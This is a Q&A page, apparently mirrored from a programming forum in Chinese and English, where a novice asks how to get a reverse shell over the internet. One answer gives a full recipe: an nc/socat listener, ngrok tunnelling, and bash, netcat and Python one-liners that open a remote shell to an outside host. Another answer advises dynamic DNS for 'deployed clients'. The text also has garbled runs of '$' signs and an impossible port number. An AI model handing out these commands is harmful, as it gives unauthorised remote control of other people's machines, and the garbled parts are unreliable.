如何在全球互联网上使用反向 shell?

发布于 2025-01-17 01:57:14 字数 176 浏览 4 评论 0原文

我对计算机和黑客技术非常陌生。 我的问题是:

  1. 如何在全球 IP 上使用反向 shell?
  2. 我是否需要服务器,或者在路由器上运行的电脑/Raspberry Pi 可以工作吗?
  3. 我们的路由器有一个动态IP,但它不会经常改变。这可能会带来麻烦吗?

谢谢!

I'm very new to computers and hacking.
The questions I have:

  1. How does one use a reverse shell over a global IP?
  2. Do I need a server or will my pc/Raspberry Pi running on my router work?
  3. Our Router has a dynamic IP, but it doesn't change often. Might this cause trouble?

Thanks!

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

心清如水 2025-01-24 01:57:14

如何在全球互联网上使用反向 Shell(针对初学者)

好的,您是黑客新手,并且希望通过互联网获得反向 Shell。这是使用 nc (Netcat)、socat 和 ngrok 执行此操作的简单方法。它适合初学者,即使您的路由器的 IP 是动态的,它也能工作。

第 1 步:设置侦听器

您需要一个侦听器来捕获反向 shell。在您的 PC 上启动它:

使用 Netcat

nc -nvlp 4444
-n: Skip DNS (faster)

-v: Verbose (you’ll see what’s happening)

-l: Listen for connections

-p: Use port 4444

或者,如果您喜欢 socat(如果您必须建立基于套接字的连接,则需要 Netcat 的精美版本):

socat TCP-LISTEN:4444 STDOUT

第 2 步:使用 ngrok 获取公共 IP

您的电脑位于路由器后面,因此它没有全局 IP。这就是 ngrok 拯救世界的地方。

运行此命令将端口 4444 公开到互联网:

ngrok tcp 4444

Ngrok 会输出如下内容:

Forwarding                    tcp://43.43.34.23:98234

这是您的公共 IP 和端口。把它写下来(或者让 ngrok 保持运行)。

第 3 步:获取反向 shell

现在,在目标计算机上(当然是您正在黑客攻击的机器……当然是道德的),您将使用此公共 IP 和端口作为反向 shell。将 43.43.34.23 和 98234 替换为您的 ngrok 详细信息。

一些反向 shell 示例:

使用 Bash(如果有):

bash -i >& /dev/tcp/43.43.34.23/98234 0>&1

使用 Netcat:

nc 43.43.34.23 98234 -e /bin/bash

使用 Python(如果没有 Bash/Netcat):

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.43.34.23",98234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

有很多选项,您选择取决于系统

步骤 4:捕获 shell

返回到您的侦听器。

当目标机器运行反向 shell 命令时,您将看到连接。

现在,您将在目标上拥有一个远程 shell系统!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

How to Use a Reverse Shell Over Global Internet (For Beginners)

Okay, so you’re new to hacking and want to get a reverse shell over the internet. Here’s a simple way to do it using nc (Netcat), socat, and ngrok. It’s beginner-friendly and works even if your router’s IP is dynamic.

Step 1: Set up a listener

You need a listener to catch the reverse shell. Fire this up on your PC:

With Netcat:

nc -nvlp 4444
-n: Skip DNS (faster)

-v: Verbose (you’ll see what’s happening)

-l: Listen for connections

-p: Use port 4444

Or, if you like socat (fancy version of Netcat if you have to make socket based connection):

socat TCP-LISTEN:4444 STDOUT

Step 2: Use ngrok to get a public IP

Your PC is behind a router, so it doesn’t have a global IP. This is where ngrok saves the day.

Run this command to expose port 4444 to the internet:

ngrok tcp 4444

Ngrok will spit out something like this:

Forwarding                    tcp://43.43.34.23:98234

That’s your public IP and port. Write it down (or just keep ngrok running).

Step 3: Get the reverse shell

Now, on the target machine (the one you’re hacking... ethically, of course), you’ll use this public IP and port for the reverse shell. Replace 43.43.34.23 and 98234 with your ngrok details.

Some reverse shell examples:

Using Bash (if available):

bash -i >& /dev/tcp/43.43.34.23/98234 0>&1

Using Netcat:

nc 43.43.34.23 98234 -e /bin/bash

Using Python (if Bash/Netcat isn’t there):

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("43.43.34.23",98234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

There are many of options, you choose depends on the system

Step 4: Catch the shell

Go back to your listener.

When the target machine runs the reverse shell command, you’ll see the connection.

You’ll now have a remote shell on the target system!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

你的笑 2025-01-24 01:57:14

<代码>1。如何通过全局 IP 使用反向 shell?

您需要在设备上托管一个侦听器,然后需要对路由器进行端口转发以允许公开访问侦听器。

<代码>2。我需要服务器吗?或者我的电脑/树莓派在路由器上运行可以工作吗?

任何电脑/树莓派都可以。唯一需要注意的是,反向 shell 仅在设备打开时才接受连接。

<代码>3。我们的路由器有一个动态IP,但它不会经常改变。这可能会造成麻烦吗?

如果您的路由器的公共IP地址发生变化,那么您当前部署的所有客户端都将停止工作。要么准备好在每次更改时重新制作它们,要么为您的路由器设置动态 DNS 并使用它来创建二进制文件。

1. How does one use a reverse shell over a global IP?

You need to host a listener on your device, then your need to port forward your router to allow the listener to be publicly accessible.

2. Do I need a server or will my pc/Raspberry Pi running on my router work?

Any pc/raspberry pi is fine. Only thing to note is that the reverse shell will only accept connections if the device is turned on.

3. Our Router has a dynamic IP, but it doesn't change often. Might this cause trouble?

If your router's public IP address changes, then all your currently deployed clients will stop working. Either be prepared to remake them each time it changes, or setup dynamic DNS for your router and use that to create your binaries.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文